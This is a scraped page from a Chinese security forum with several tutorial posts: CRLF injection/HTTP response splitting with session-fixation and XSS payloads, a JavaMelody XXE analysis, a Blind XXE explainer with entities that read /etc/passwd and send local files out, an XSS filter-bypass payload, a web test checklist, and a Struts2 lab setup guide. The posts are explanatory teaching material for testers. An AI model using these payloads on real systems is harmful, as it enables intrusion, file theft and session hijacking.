CRLF注入漏洞讲解

ttgo2 发表了文章 • 2 个评论 • 148 次浏览 • 2018-10-21 09:23 • 来自相关话题

CRLF Injection很少遇见,这次被我逮住了。我看zone中(http://zone.wooyun.org/content/13323)还有一些同学对于这个漏洞不甚了解,甚至分不清它与CSRF,我详细说一下吧。
1 什么是CRLF注入
CRLF是”回车 + 换行”(\r\n)的简称。在HTTP协议中,HTTP Header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以,一旦我们能够控制HTTP 消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码,所以CRLF Injection又叫HTTP Response Splitting,简称HRS。
HRS是比XSS危害更大的安全问题,具体是为什么,我们往下看。
对于HRS最简单的利用方式是注入两个\r\n,之后在写入XSS代码,来构造一个xss。
2 举例说明
举个例子,一般网站会在HTTP头中用Location: http://baidu.com这种方式来进行302跳转,所以我们能控制的内容就是Location:后面的XXX某个网址。
所以一个正常的302跳转包是这样:HTTP/1.1 302 Moved Temporarily
Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location: [url]http://www.xxx.com.cn[/url]

但如果我们输入的是
http://www.sina.com.cn%0aSet-cookie:JSPSESSID%3Dwooyun

注入了一个换行,此时的返回包就会变成这样:
HTTP/1.1 302 Moved Temporarily
Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location: http://www.sina.com.cn
Set-cookie: JSPSESSID=wooyun

这个时候这样我们就给访问者设置了一个SESSION,造成一个“会话固定漏洞”。
当然,HRS并不仅限于会话固定,通过注入两个CRLF就能造成一个无视浏览器Filter的反射型XSS。
比如一个网站接受url参数http://test.sina.com.cn/?url=xxx,xxx放在Location后面作为一个跳转。如果我们输入的是:
http://test.sina.com.cn/?url=%0d%0a%0d%0a<img src=1 onerror=alert(/xss/)>

我们的返回包就会变成这样:
HTTP/1.1 302 Moved Temporarily
Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location:

<img src=1 onerror=alert(/xss/)>

之前说了浏览器会根据第一个CRLF把HTTP包分成头和体,然后将体显示出来。于是我们这里<img>这个标签就会显示出来,造成一个XSS。
为什么说是无视浏览器filter的,这里涉及到另一个问题。
浏览器的Filter是浏览器应对一些反射型XSS做的保护策略,当url中含有XSS相关特征的时候就会过滤掉不显示在页面中,所以不能触发XSS。
怎样才能关掉filter?一般来说用户这边是不行的,只有数据包中http头含有X-XSS-Protection并且值为0的时候,浏览器才不会开启filter。
说到这里应该就很清楚了,HRS不正是注入HTTP头的一个漏洞吗,我们可以将X-XSS-Protection:0注入到数据包中,再用两个CRLF来注入XSS代码,这样就成功地绕过了浏览器filter,并且执行我们的反射型XSS。
所以说HRS的危害大于XSS,因为它能绕过一般XSS所绕不过的filter,并能产生会话固定漏洞。
我们来一个真实案例吧。
某分站含有一个url跳转漏洞,危害并不大,于是我就想到了CRLF Injection,当我测试
http://xxx.aa.com.cn/?url=%0a%0d%0a%0d%3Cimg%20src=1%3E

的时候,发现图片已经输出在页面中了,说明CRLF注入成功了:





  查看全部
CRLF Injection很少遇见,这次被我逮住了。我看zone中(http://zone.wooyun.org/content/13323)还有一些同学对于这个漏洞不甚了解,甚至分不清它与CSRF,我详细说一下吧。
1 什么是CRLF注入
CRLF是”回车 + 换行”(\r\n)的简称。在HTTP协议中,HTTP Header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以,一旦我们能够控制HTTP 消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码,所以CRLF Injection又叫HTTP Response Splitting,简称HRS。
HRS是比XSS危害更大的安全问题,具体是为什么,我们往下看。
对于HRS最简单的利用方式是注入两个\r\n,之后在写入XSS代码,来构造一个xss。
2 举例说明
举个例子,一般网站会在HTTP头中用
Location: 
http://baidu.com这种方式来进行302跳转,所以我们能控制的内容就是Location:后面的XXX某个网址。
所以一个正常的302跳转包是这样:
HTTP/1.1 302 Moved Temporarily 
Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location: [url]http://www.xxx.com.cn[/url]

但如果我们输入的是
http://www.sina.com.cn%0aSet-cookie:JSPSESSID%3Dwooyun

注入了一个换行,此时的返回包就会变成这样:
HTTP/1.1 302 Moved Temporarily 
Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location: http://www.sina.com.cn
Set-cookie: JSPSESSID=wooyun

这个时候这样我们就给访问者设置了一个SESSION,造成一个“会话固定漏洞”。
当然,HRS并不仅限于会话固定,通过注入两个CRLF就能造成一个无视浏览器Filter的反射型XSS。
比如一个网站接受url参数http://test.sina.com.cn/?url=xxx,xxx放在Location后面作为一个跳转。如果我们输入的是:
http://test.sina.com.cn/?url=%0d%0a%0d%0a<img src=1 onerror=alert(/xss/)>

我们的返回包就会变成这样:
HTTP/1.1 302 Moved Temporarily 
Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location:

<img src=1 onerror=alert(/xss/)>

之前说了浏览器会根据第一个CRLF把HTTP包分成头和体,然后将体显示出来。于是我们这里<img>这个标签就会显示出来,造成一个XSS。
为什么说是无视浏览器filter的,这里涉及到另一个问题。
浏览器的Filter是浏览器应对一些反射型XSS做的保护策略,当url中含有XSS相关特征的时候就会过滤掉不显示在页面中,所以不能触发XSS。
怎样才能关掉filter?一般来说用户这边是不行的,只有数据包中http头含有X-XSS-Protection并且值为0的时候,浏览器才不会开启filter。
说到这里应该就很清楚了,HRS不正是注入HTTP头的一个漏洞吗,我们可以将X-XSS-Protection:0注入到数据包中,再用两个CRLF来注入XSS代码,这样就成功地绕过了浏览器filter,并且执行我们的反射型XSS。
所以说HRS的危害大于XSS,因为它能绕过一般XSS所绕不过的filter,并能产生会话固定漏洞。
我们来一个真实案例吧。
某分站含有一个url跳转漏洞,危害并不大,于是我就想到了CRLF Injection,当我测试
http://xxx.aa.com.cn/?url=%0a%0d%0a%0d%3Cimg%20src=1%3E

的时候,发现图片已经输出在页面中了,说明CRLF注入成功了:

4efd1404082196.jpg

 

JavaMelody组件XXE漏洞解析

ttgo2 发表了文章 • 0 个评论 • 46 次浏览 • 2018-10-14 18:29 • 来自相关话题

文章转载:https://mp.weixin.qq.com/s/Tca3GGPCIc7FZaubUTh18Q
0x00 概述

JavaMelody是一个用来对Java应用进行监控的组件。通过该组件,用户可以对内存、CPU、用户session甚至SQL请求等进行监控,并且该组件提供了一个可视化界面给用户使用。

最近,该组件被爆出一个XXE漏洞——CVE-2018-15531,由于该组件的启动特性,攻击者无需特定的权限即可发起攻击。
 
0x01 漏洞复现

我们使用SpringBoot web来搭建基础项目,然后将JavaMelody集成进来,在maven中配置如下:





访问http://127.0.0.1/monitoring出现如下页面表示环境搭建成功





由于这里是没有回显的,因此可以使用Blind XXE来读取文件进行攻击:





DTD文件构造如下:





 
在JavaMelody的默认配置下,直接发包就可以触发该漏洞。

需要注意的是,构造回显通道时,如果是低版本的jdk,可以直接使用gopher协议回传。如果是高版本jdk,则不支持gopher协议,那么可以使用FTP回显技巧来读取多行文件。
 
0x02 漏洞细节

我们先来看一下官方的补丁代码:

https://github.com/javamelody/javamelody/commit/ef111822562d0b9365bd3e671a75b65bd0613353
 
可以看到,官方在net/bull/javamelody/PayloadNameRequestWrapper.java中新增了对XMLInputFactory配置的代码,禁用了外部实体解析和dtd实体解析。因此,很容易判断出这里是一个XXE漏洞。
为什么这个漏洞随意发包即可触发漏洞呢?这和JavaMelody启动过程有关。在触发该漏洞后,我们在PayloadNameRequestWrapper中下断点:




通过调用历史信息可以发现,请求进入了一个MonitoringFilter拦截器中。
Springboot中肯定是没有配置这个filter的,查看jar包发现,该拦截器是通过web-fragment.xml进行的配置:





在配置项中我们可以发现这个filter默认是处理所有请求:





因此,外部请求会进入MonitoringFilter的doFilter方法,之后调用了createRequestWrapper方法:





然后来到了PayloadNameRequestWrapper-> initialize方法中




在处理soap相关的content-type时,只关注application/soap+xml,text/xml。如果发现content-type类型满足if条件,则调用parseSoapMethodName方法执行解析,继续跟进该方法:





0x03 漏洞修复
该漏洞修复比较简单,直接更新JavaMelody至1.74.0即可,或者自己写拦截器来处理恶意请求。

当然,值得注意的是,如果泄漏了/monitoring路由,其实本身就是一个很严重的信息泄露漏洞。因为JavaMelody提供了非常丰富的功能,比如执行gc,杀掉线程,查看SQL请求,查看系统信息、进程,查看数据库schema信息等。
  查看全部
文章转载:https://mp.weixin.qq.com/s/Tca3GGPCIc7FZaubUTh18Q
0x00 概述

JavaMelody是一个用来对Java应用进行监控的组件。通过该组件,用户可以对内存、CPU、用户session甚至SQL请求等进行监控,并且该组件提供了一个可视化界面给用户使用。

最近,该组件被爆出一个XXE漏洞——CVE-2018-15531,由于该组件的启动特性,攻击者无需特定的权限即可发起攻击。
 
0x01 漏洞复现

我们使用SpringBoot web来搭建基础项目,然后将JavaMelody集成进来,在maven中配置如下:

20180921164234342.png

访问http://127.0.0.1/monitoring出现如下页面表示环境搭建成功

20180921164323297.png

由于这里是没有回显的,因此可以使用Blind XXE来读取文件进行攻击:

20180921164329795.png

DTD文件构造如下:

20180921164334774.png

 
在JavaMelody的默认配置下,直接发包就可以触发该漏洞。

需要注意的是,构造回显通道时,如果是低版本的jdk,可以直接使用gopher协议回传。如果是高版本jdk,则不支持gopher协议,那么可以使用FTP回显技巧来读取多行文件。
 
0x02 漏洞细节

我们先来看一下官方的补丁代码:

https://github.com/javamelody/javamelody/commit/ef111822562d0b9365bd3e671a75b65bd0613353
 
可以看到,官方在net/bull/javamelody/PayloadNameRequestWrapper.java中新增了对XMLInputFactory配置的代码,禁用了外部实体解析和dtd实体解析。因此,很容易判断出这里是一个XXE漏洞。
为什么这个漏洞随意发包即可触发漏洞呢?这和JavaMelody启动过程有关。在触发该漏洞后,我们在PayloadNameRequestWrapper中下断点:
20180921164348851.png

通过调用历史信息可以发现,请求进入了一个MonitoringFilter拦截器中。
Springboot中肯定是没有配置这个filter的,查看jar包发现,该拦截器是通过web-fragment.xml进行的配置:

20180921164354943.png

在配置项中我们可以发现这个filter默认是处理所有请求:

20180921164400415.png

因此,外部请求会进入MonitoringFilter的doFilter方法,之后调用了createRequestWrapper方法:

20180921164409166.png

然后来到了PayloadNameRequestWrapper-> initialize方法中
20180921164414844.png

在处理soap相关的content-type时,只关注application/soap+xml,text/xml。如果发现content-type类型满足if条件,则调用parseSoapMethodName方法执行解析,继续跟进该方法:
20180921164420245.png


0x03 漏洞修复
该漏洞修复比较简单,直接更新JavaMelody至1.74.0即可,或者自己写拦截器来处理恶意请求。

当然,值得注意的是,如果泄漏了/monitoring路由,其实本身就是一个很严重的信息泄露漏洞。因为JavaMelody提供了非常丰富的功能,比如执行gc,杀掉线程,查看SQL请求,查看系统信息、进程,查看数据库schema信息等。
 

Blind XXE总结

ttgo2 发表了文章 • 0 个评论 • 60 次浏览 • 2018-10-14 18:14 • 来自相关话题

文章转载:http://blog.csdn.net/u011721501
XXE漏洞是针对使用XML交互的Web应用程序的攻击方法,在XEE漏洞的基础上,发展出了Blind XXE漏洞。目前来看,XML文件作为配置文件(Spring、Struts2等)、文档结构说明文件(PDF、RSS等)、图片格式文件(SVG header)应用比较广泛,此外,网上有一些在线XML格式化工具也存在过问题,如开源中国的在线XML格式化工具XXE漏洞:
 
1、Blind XXE用途

对于传统的XXE来说,要求有一点,就是攻击者只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件。例如:

提交请求:

<!ENTITY file SYSTEM “file:///etc/passwd”>
<username>&file;</username>服务器在这个节点中返回etc/passwd的文件内容
<username>root:1:3.......</username>2、参数实体和内部参数实体

Blink XXE主要使用了DTD约束中的参数实体和内部实体。

参数实体是一种只能在DTD中定义和使用的实体,一般引用时使用%作为前缀。而内部实体是指在一个实体中定义的另一个实体,也就是嵌套定义。


<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "<!ENTITY internal 'http://www.baidu.com'>">
%param1;
]>
<root>
[This is my site] &internal;
</root>

但是在我研究过程中,发现内部实体的这支持与否也是取决于解释器的。















这也是比较蛋疼的特性,因为php,java,C#等语言的内置XML解析器都是有一定差别的,也就给漏洞利用带来不便
 
3、Blind XXE原理

带外数据通道的建立是使用嵌套形式,利用外部实体中的URL发出访问,从而跟攻击者的服务器发生联系。

直接在内部实体定义中引用另一个实体的方法如下,但是这种方法行不通。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "file:///c:/1.txt">
<!ENTITY % param2 "http://127.0.0.1/?%param1">
%param2;
]>

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "file:///c:/1.txt">
<!ENTITY % param2 "<!ENTITY % param222 SYSTEM'http://127.0.0.1/?%param1;'>">
%param2;
]>
<root>
[This is my site]
</root>
!但是这样做行不通,原因是不能在实体定义中引用参数实体,即有些解释器不允许在内层实体中使用外部连接,无论内层是一般实体还是参数实体。





解决方案是:

将嵌套的实体声明放入到一个外部文件中,这里一般是放在攻击者的服务器上,这样做可以规避错误。
 
 
  查看全部
文章转载:http://blog.csdn.net/u011721501
XXE漏洞是针对使用XML交互的Web应用程序的攻击方法,在XEE漏洞的基础上,发展出了Blind XXE漏洞。目前来看,XML文件作为配置文件(Spring、Struts2等)、文档结构说明文件(PDF、RSS等)、图片格式文件(SVG header)应用比较广泛,此外,网上有一些在线XML格式化工具也存在过问题,如开源中国的在线XML格式化工具XXE漏洞:
 
1、Blind XXE用途

对于传统的XXE来说,要求有一点,就是攻击者只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件。例如:

提交请求:

<!ENTITY file SYSTEM “file:///etc/passwd”>
<username>&file;</username>
服务器在这个节点中返回etc/passwd的文件内容
<username>root:1:3.......</username>
2、参数实体和内部参数实体

Blink XXE主要使用了DTD约束中的参数实体和内部实体。

参数实体是一种只能在DTD中定义和使用的实体,一般引用时使用%作为前缀。而内部实体是指在一个实体中定义的另一个实体,也就是嵌套定义。


<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "<!ENTITY internal 'http://www.baidu.com'>">
%param1;
]>
<root>
[This is my site] &internal;
</root>

但是在我研究过程中,发现内部实体的这支持与否也是取决于解释器的。

20150212232005377.png


20150212232029757.png


20150212232027529.png

这也是比较蛋疼的特性,因为php,java,C#等语言的内置XML解析器都是有一定差别的,也就给漏洞利用带来不便
 
3、Blind XXE原理

带外数据通道的建立是使用嵌套形式,利用外部实体中的URL发出访问,从而跟攻击者的服务器发生联系。

直接在内部实体定义中引用另一个实体的方法如下,但是这种方法行不通。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "file:///c:/1.txt">
<!ENTITY % param2 "http://127.0.0.1/?%param1">
%param2;
]>

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "file:///c:/1.txt">
<!ENTITY % param2 "<!ENTITY % param222 SYSTEM'http://127.0.0.1/?%param1;'>">
%param2;
]>
<root>
[This is my site]
</root>
但是这样做行不通,原因是不能在实体定义中引用参数实体,即有些解释器不允许在内层实体中使用外部连接,无论内层是一般实体还是参数实体。

20150212232152362.png

解决方案是:

将嵌套的实体声明放入到一个外部文件中,这里一般是放在攻击者的服务器上,这样做可以规避错误。
 
 
 

总结Web常见的漏洞测试条目列表

ttgo2 发表了文章 • 0 个评论 • 68 次浏览 • 2018-10-07 12:38 • 来自相关话题

1.1 上传功能绕过文件上传检查功能
上传文件大小和次数限制1.2 注册请求是否安全传输注册时密码复杂度是否后台检验
激活链接测试
重复注册
批量注册问题1.3 登录功能登录请求是否安全传输
会话固定
关键Cookie是否HttpOnly
登录请求错误次数限制
“记住我”功能
本地存储敏感信息

1.4 验证码功能验证码的一次性
验证码绕过
短信验证码轰炸1.5 忘记密码功能通过手机号找回
通过邮箱找回
密码安全性要求
密码复杂度要求
密码保存要求1.6 越权测试请测试所有接口水平越权情况
请测试所有接口垂直越权情况1.7 XSS测试反射型XSS
存储型XSS
DOM型XSS1.8 SQL注入测试SQL注入测试
写接口限制测试
写接口限制测试1.9 CSRF测试

1.10 敏感信息泄露SVN信息泄露
页面泄露敏感信息
目录遍历
CRLF测试

1.11 任意文件读取

1.12 URL重定向测试

1.13 页面点击劫持

1.14 XXE

1.15 SSRF

1.16 CORS问题 查看全部
1.1 上传功能
绕过文件上传检查功能
上传文件大小和次数限制
1.2 注册请求是否安全传输
注册时密码复杂度是否后台检验
激活链接测试
重复注册
批量注册问题
1.3 登录功能
登录请求是否安全传输
会话固定
关键Cookie是否HttpOnly
登录请求错误次数限制
“记住我”功能
本地存储敏感信息

1.4 验证码功能
验证码的一次性
验证码绕过
短信验证码轰炸
1.5 忘记密码功能
通过手机号找回
通过邮箱找回
密码安全性要求
密码复杂度要求
密码保存要求
1.6 越权测试
请测试所有接口水平越权情况
请测试所有接口垂直越权情况
1.7 XSS测试
反射型XSS
存储型XSS
DOM型XSS
1.8 SQL注入测试
SQL注入测试
写接口限制测试
写接口限制测试
1.9 CSRF测试

1.10 敏感信息泄露
SVN信息泄露
页面泄露敏感信息
目录遍历
CRLF测试


1.11 任意文件读取

1.12 URL重定向测试

1.13 页面点击劫持

1.14 XXE

1.15 SSRF

1.16 CORS问题

记一次有意思的XSS绕过之奇葩的中文尖括号

lawliet 发表了文章 • 3 个评论 • 222 次浏览 • 2018-09-02 23:18 • 来自相关话题

记一次有意思的XSS绕过之奇葩的中文尖括号
记录一个我实战中遇到的比较有意思的XSS绕过,过滤方式比较奇葩,把>变为了中文的尖括号>,导致插入页面的xss payload不能被浏览器解析,但是经过一番测试无意间发现了一种绕过方式,构造方法比较特殊,在这分享一下~奇葩的过滤
过滤方式如下




可以看到对输入的过滤是将>变为了中文的尖括号>,这样的话浏览器在解析html标签时,由于标签无法正常闭合就会出现语法错误而导致xss payload无法被浏览器解析执行,加上页面可以利用的输出点只有这一个位置并且在DOM的文本节点,所以在构造xss的时候>符号是必不可少的bypass
绕过其实也很简单,构造payload如下<img onerror=alert(1) src=>







这一点的构造思路正是用到了中文尖括号>在浏览器解析时不能被浏览器识别的特点,这样的话>”</span会被浏览器当成img标签的src属性的属性值,也就是一个错误的图片资源,导致后面span标签的>逃逸,于是span标签的>闭合了img标签,xss payload执行










  查看全部
记一次有意思的XSS绕过之奇葩的中文尖括号
记录一个我实战中遇到的比较有意思的XSS绕过,过滤方式比较奇葩,把
>
变为了中文的尖括号
,导致插入页面的xss payload不能被浏览器解析,但是经过一番测试无意间发现了一种绕过方式,构造方法比较特殊,在这分享一下~
奇葩的过滤
过滤方式如下

0.png
可以看到对输入的过滤是将
>
变为了中文的尖括号
,这样的话浏览器在解析html标签时,由于标签无法正常闭合就会出现语法错误而导致xss payload无法被浏览器解析执行,加上页面可以利用的输出点只有这一个位置并且在DOM的文本节点,所以在构造xss的时候
>
符号是必不可少的
bypass
绕过其实也很简单,构造payload如下
<img onerror=alert(1) src=>



0.png

这一点的构造思路正是用到了中文尖括号
在浏览器解析时不能被浏览器识别的特点,这样的话
>”</span
会被浏览器当成img标签的src属性的属性值,也就是一个错误的图片资源,导致后面span标签的
>
逃逸,于是span标签的
>
闭合了img标签,xss payload执行


0.png


0.png

 

Struts2-057 漏洞环境搭建+案例

ttgo2 发表了文章 • 0 个评论 • 269 次浏览 • 2018-09-01 10:10 • 来自相关话题

一、struts2 搭建
这几天为了复现struts2-057的漏洞,自己试着去搭建一下环境,但是以前对JAVA不是太熟悉,进入了知识的盲区,慢慢摸索进行,跳了很多坑,总之还是完成了struts2的环境搭建,这里总结一下,希望大家少走弯路,有所帮助。
二、struts2 环境说明系统环境:Windows 7
Web服务器:TOMCAT 9.0(apache-tomcat-9.0.11-windows-x64)
JAVA 环境:JDK1.8(jdk-8u181-windows-x64)
Eclipse 环境:Eclipse-inst-win64
Struts2:struts-2.3.20-all.zip
为了大家方便,我直接把所有的包传到百度网盘,给大家分享出来,包都是来自官网:
链接:https://pan.baidu.com/s/1orpMO2zYHWK2xqsSm510-A 密码:9nkh
三 、安装前的说明
安装的顺序为JDK+TOMCAT+Eclipse+Struts2, 这里的一定要注意JDK和TOMCAT的版本搭配,目前我测试过的位JDK1.8+ TOMCAT9.0 是没有问题的,在这上面可算栽大跟头了。所以大家一定要多注意这点。基础环境的版本很重要。
四 、JDK环境安装配置
 Step1:URL下载链接
http://www.oracle.com/technetwork/cn/java/javase/downloads/jdk8-downloads-2133151-zhs.html






 Step2:安装过程
JDK安装很简单,点击下一步安装即可,默认安装就可以了,这里需要记住自己的安装路径,下面介绍一下JDK的环境变量的配置。
Step3:环境变量
Windows7的电脑属性----》高级系统设置----》环境变量






增加系统变量(不是用户变量)JAVA_HOME, 变量内容:安装JDK的路径,截图如下






配置Path的环境变量,在path环境后面增加JAVA_HOME 内容如下:;%JAVA_HOME%/bin,截图如下:






五、 TOMCAT环境安装配置
Step1:下载链接:
https://tomcat.apache.org/
Step2:下载二进制文件,免安装
Step3:配置一下环境变量,跟JDK的配置步骤一样
%TOMCAT_HOME%/bin
Step4:测试一下是否成功,在命令行下执行 startup 启动tomcat服务器,然后在浏览器中输入:localhost:8080











六、Eclipse 安装

Eclipse的安装不存在坑,只要正常安装即可,但是必须之前安装JDK和TOMCAT, Eclipse本身就是一个编译器,为了更加高效的开发。
 
七 、struts环境的部署
Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。
Step1:下载Strust2  URL地址:https://archive.apache.org/dist/struts/ 






Step2:Eclipse 创建一个dynamic web project






step3:配置项目创建









八、 struts工作流程
其实用最简单的七个步骤: 1:客户端在浏览器中输入一个url地址;
2:这个url请求通过http协议发送给tomcat;
3:tomcat根据url找到对应项目里面的web.xml文件;
4:在web.xml里面会发现有struts2的配置;
5:然后会找到struts2对应的struts.xml配置文件;
6:根据url解析struts.xml配置文件就会找到对应的class;
7:调用完class返回一个结果result,根据struts.xml返回到对应的jsp;
具体文档可以参考:https://blog.csdn.net/liuyinghui523/article/details/48290625
 
九、 struts的一个案例
struts2 案例中,分为了 导入struts2的基础包和引用、配置web.xml 、创建Action和struts.xml 和创建视图result.jsp。具体的步骤为:
 
step1: 导入struts2的基础包






step2:修改一下web.xml 文件<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" id="WebApp_ID" version="4.0">
<display-name>helloworld</display-name>

<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter</filter-class>
</filter>

<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>

<welcome-file-list>
<welcome-file>index.jsp</welcome-file>
</welcome-file-list>
</web-app>
step3:创建一个方法Action











step4:配置helloworld的java文件如下:package com.imooc.action;

import com.opensymphony.xwork2.ActionSupport;

public class HelloWorldAction extends ActionSupport {

@Override
public String execute() throws Exception {
// TODO Auto-generated method stub
System.out.println("执行Action");
return SUCCESS;
}


}





step5:创建一个视图文件result.jsp 文件<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Insert title here</title>
</head>
<body>
this is result.jsp
</body>
</html>step6:进行测试










 

 备注:如果有人需要进行VM已经调试好的环境,可以找我私聊。
 
  查看全部
一、struts2 搭建
这几天为了复现struts2-057的漏洞,自己试着去搭建一下环境,但是以前对JAVA不是太熟悉,进入了知识的盲区,慢慢摸索进行,跳了很多坑,总之还是完成了struts2的环境搭建,这里总结一下,希望大家少走弯路,有所帮助。
二、struts2 环境说明
系统环境:Windows 7
Web服务器:TOMCAT 9.0(apache-tomcat-9.0.11-windows-x64)
JAVA 环境:JDK1.8(jdk-8u181-windows-x64)
Eclipse 环境:Eclipse-inst-win64
Struts2:struts-2.3.20-all.zip

为了大家方便,我直接把所有的包传到百度网盘,给大家分享出来,包都是来自官网:
链接:https://pan.baidu.com/s/1orpMO2zYHWK2xqsSm510-A 密码:9nkh
三 、安装前的说明
安装的顺序为JDK+TOMCAT+Eclipse+Struts2, 这里的一定要注意JDK和TOMCAT的版本搭配,目前我测试过的位JDK1.8+ TOMCAT9.0 是没有问题的,在这上面可算栽大跟头了。所以大家一定要多注意这点。基础环境的版本很重要。
四 、JDK环境安装配置
 Step1:URL下载链接
http://www.oracle.com/technetwork/cn/java/javase/downloads/jdk8-downloads-2133151-zhs.html

QQ图片20180901084041.png


 Step2:安装过程
JDK安装很简单,点击下一步安装即可,默认安装就可以了,这里需要记住自己的安装路径,下面介绍一下JDK的环境变量的配置。
Step3:环境变量
Windows7的电脑属性----》高级系统设置----》环境变量

QQ截图20180901084637.png


增加系统变量(不是用户变量)JAVA_HOME, 变量内容:安装JDK的路径,截图如下

QQ截图20180901085030.png


配置Path的环境变量,在path环境后面增加JAVA_HOME 内容如下:;%JAVA_HOME%/bin,截图如下:

QQ截图20180901085946.png


五、 TOMCAT环境安装配置
Step1:下载链接:
https://tomcat.apache.org/
Step2:下载二进制文件,免安装
Step3:配置一下环境变量,跟JDK的配置步骤一样
%TOMCAT_HOME%/bin
Step4:测试一下是否成功,在命令行下执行 startup 启动tomcat服务器,然后在浏览器中输入:localhost:8080

QQ截图20180901091213.png


QQ截图20180901091308.png


六、Eclipse 安装

Eclipse的安装不存在坑,只要正常安装即可,但是必须之前安装JDK和TOMCAT, Eclipse本身就是一个编译器,为了更加高效的开发。
 
七 、struts环境的部署
Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。
Step1:下载Strust2  URL地址:https://archive.apache.org/dist/struts/ 

QQ截图20180901090458.png


Step2:Eclipse 创建一个dynamic web project

QQ截图20180901093319.png


step3:配置项目创建
QQ截图20180901093609.png

QQ截图20180901093843.png


八、 struts工作流程
其实用最简单的七个步骤:
  1:客户端在浏览器中输入一个url地址;
2:这个url请求通过http协议发送给tomcat;
3:tomcat根据url找到对应项目里面的web.xml文件;
4:在web.xml里面会发现有struts2的配置;
5:然后会找到struts2对应的struts.xml配置文件;
6:根据url解析struts.xml配置文件就会找到对应的class;
7:调用完class返回一个结果result,根据struts.xml返回到对应的jsp;

具体文档可以参考:https://blog.csdn.net/liuyinghui523/article/details/48290625
 
九、 struts的一个案例
struts2 案例中,分为了 导入struts2的基础包和引用、配置web.xml 、创建Action和struts.xml 和创建视图result.jsp。具体的步骤为:
 
step1: 导入struts2的基础包

QQ截图20180901095608.png


step2:修改一下web.xml 文件
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" id="WebApp_ID" version="4.0">
<display-name>helloworld</display-name>

<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter</filter-class>
</filter>

<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>

<welcome-file-list>
<welcome-file>index.jsp</welcome-file>
</welcome-file-list>
</web-app>

step3:创建一个方法Action

QQ截图20180901100025.png


QQ截图20180901100127.png


step4:配置helloworld的java文件如下:
package com.imooc.action;

import com.opensymphony.xwork2.ActionSupport;

public class HelloWorldAction extends ActionSupport {

@Override
public String execute() throws Exception {
// TODO Auto-generated method stub
System.out.println("执行Action");
return SUCCESS;
}


}

QQ截图20180901102328.png


step5:创建一个视图文件result.jsp 文件
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Insert title here</title>
</head>
<body>
this is result.jsp
</body>
</html>
step6:进行测试

QQ截图20180901103359.png


QQ截图20180901103155.png

 

 备注:如果有人需要进行VM已经调试好的环境,可以找我私聊。
 
 

JBOSS 最佳安全配置实践

ttgo2 发表了文章 • 0 个评论 • 192 次浏览 • 2018-08-22 18:28 • 来自相关话题

简述JBoss是一个运行EJB的J2EE应用服务器。它是开放源代码的项目,遵循最新的J2EE规范。从JBoss项目开始至今,它已经从一个EJB容器发展成为一个基于的J2EE的一个web 操作系统(operating system for web),它体现了J2EE规范中最新的技术。无论是学习还是应用,JBoss为我们提供了一个非常优秀的平台。

JBoss是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3.0的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。
JBoss具有如下优点:
1、JBoss是免费的,开放源代码J2EE的实现,通过LGPL许可证进行发布.但同时也有闭源的,开源和闭源流入流出的不是同一途径。
2、 JBoss需要的内存和硬盘空间比较小。
3、安装便捷:解压后,只需配置一些环境变量即可。
4、JBoss支持"热部署",部署BEAN时,只拷贝BEAN的JAR文件到部署路径下即可自动加载它,如果有改动,也会自动更新
5、JBoss与Web服务器在同一个Java虚拟机中运行,Servlet调用EJB不经过网络,从而大大提高运行效率,提升安全性能
